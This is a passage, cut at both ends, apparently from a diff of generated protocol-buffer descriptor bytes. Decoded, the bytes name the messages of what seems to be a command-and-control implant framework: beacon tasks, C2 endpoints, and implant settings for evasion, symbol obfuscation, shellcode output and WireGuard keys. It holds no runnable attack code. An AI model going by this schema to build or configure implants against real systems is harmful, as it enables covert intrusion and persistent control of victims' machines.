0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, + 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x53, 0x65, 0x6e, 0x74, 0x41, 0x74, 0x12, + 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, + 0x74, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x08, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x44, 0x65, 0x73, 0x63, 0x72, + 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x44, 0x65, + 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6d, 0x64, + 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, 0x6d, 0x64, 0x4c, + 0x69, 0x6e, 0x65, 0x22, 0x55, 0x0a, 0x0b, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, + 0x6b, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x2a, + 0x0a, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, + 0x61, 0x73, 0x6b, 0x52, 0x05, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x22, 0x53, 0x0a, 0x09, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x50, 0x72, 0x69, 0x6f, 0x72, + 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0xfb, 0x0d, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, + 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x26, 0x0a, + 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x4a, + 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, + 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, + 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, + 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x44, 0x65, 0x62, 0x75, 0x67, 0x12, + 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x2a, 0x0a, 0x10, 0x4f, 0x62, 0x66, + 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x18, 0x0a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x10, 0x4f, 0x62, 0x66, 0x75, 0x73, 0x63, 0x61, 0x74, 0x65, 0x53, 0x79, + 0x6d, 0x62, 0x6f, 0x6c, 0x73, 0x12, 0x22, 0x0a, 0x0c, 0x54, 0x65, 0x6d, 0x70, 0x6c, 0x61, 0x74, + 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x54, 0x65, 0x6d, + 0x70, 0x6c, 0x61, 0x74, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x53, 0x47, 0x4e, + 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x53, + 0x47, 0x4e, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, + 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, + 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, + 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x15, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, + 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, + 0x18, 0x16, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, + 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, + 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, + 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, + 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x19, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, + 0x16, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, + 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, + 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, + 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, + 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, + 0x18, 0x1b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, + 0x2a, 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, + 0x4b, 0x65, 0x79, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, + 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x1f, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, + 0x4b, 0x65, 0x79, 0x12, 0x20, 0x0a, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, 0x54, 0x75, 0x6e, + 0x49, 0x50, 0x18, 0x20, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x57, 0x47, 0x50, 0x65, 0x65, 0x72, + 0x54, 0x75, 0x6e, 0x49, 0x50, 0x12, 0x2c, 0x0a, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, + 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x21, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x11, 0x57, 0x47, 0x4b, 0x65, 0x79, 0x45, 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, 0x54, 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, + 0x73, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x57, 0x47, 0x54, + 0x63, 0x70, 0x43, 0x6f, 0x6d, 0x6d, 0x73, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x52, + 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, + 0x18, 0x28, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, + 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x4d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x73, - 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, - 0x2a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, - 0x75, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x32, 0x18, 0x32, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, - 0x74, 0x43, 0x32, 0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, - 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x33, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, - 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, - 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, - 0x65, 0x67, 0x79, 0x18, 0x34, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, - 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, - 0x65, 0x64, 0x18, 0x3c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, - 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, - 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, 0x65, 0x18, 0x3d, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x61, 0x74, 0x65, 0x74, 0x69, 0x6d, - 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, - 0x6d, 0x65, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x48, - 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x3f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, - 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x28, 0x0a, - 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, - 0x18, 0x40, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x46, 0x69, 0x6c, - 0x65, 0x45, 0x78, 0x69, 0x73, 0x74, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x69, 0x6d, 0x69, 0x74, - 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x41, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x4c, 0x69, - 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x46, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x18, 0x64, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, - 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, - 0x49, 0x73, 0x53, 0x68, 0x61, 0x72, 0x65, 0x64, 0x4c, 0x69, 0x62, 0x12, 0x1a, 0x0a, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x66, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, - 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x73, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x18, 0x67, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x73, 0x53, 0x65, - 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x73, 0x53, 0x68, 0x65, 0x6c, 0x6c, - 0x63, 0x6f, 0x64, 0x65, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x49, 0x73, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6e, 0x41, 0x74, - 0x4c, 0x6f, 0x61, 0x64, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x52, 0x75, 0x6e, 0x41, - 0x74, 0x4c, 0x6f, 0x61, 0x64, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, 0x69, - 0x6c, 0x65, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x46, - 0x69, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, 0x45, 0x6e, 0x61, 0x62, - 0x6c, 0x65, 0x64, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x4e, 0x65, 0x74, 0x47, 0x6f, - 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x36, 0x0a, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, - 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, - 0x64, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, - 0x28, 0x0a, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x73, 0x18, 0x6d, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0f, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, - 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x12, 0x27, 0x0a, 0x06, 0x41, 0x73, 0x73, - 0x65, 0x74, 0x73, 0x18, 0xc8, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x06, 0x41, 0x73, 0x73, 0x65, - 0x74, 0x73, 0x22, 0x7a, 0x0a, 0x0e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x02, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, - 0x6c, 0x65, 0x52, 0x04, 0x57, 0x61, 0x73, 0x6d, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x6b, 0x69, 0x70, - 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, 0x6b, 0x69, - 0x70, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, - 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x54, 0x65, 0x73, 0x74, 0x49, 0x44, 0x22, 0xb1, - 0x01, 0x0a, 0x11, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x4d, 0x61, 0x70, 0x12, 0x45, 0x0a, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, - 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x4d, 0x61, 0x70, 0x2e, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x52, 0x08, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x1a, 0x55, 0x0a, 0x0d, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, - 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2e, - 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, - 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x09, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x53, - 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, - 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x06, 0x53, 0x61, 0x6d, 0x70, 0x6c, 0x65, 0x22, 0xc3, 0x01, 0x0a, 0x13, - 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x54, 0x65, - 0x73, 0x74, 0x73, 0x12, 0x32, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, - 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x32, 0x0a, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x54, 0x72, 0x61, 0x66, 0x66, 0x69, 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, - 0x54, 0x65, 0x73, 0x74, 0x52, 0x05, 0x54, 0x65, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x54, - 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x0d, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x44, 0x75, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, 0x73, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x54, 0x65, 0x73, 0x74, - 0x73, 0x22, 0x66, 0x0a, 0x15, 0x45, 0x78, 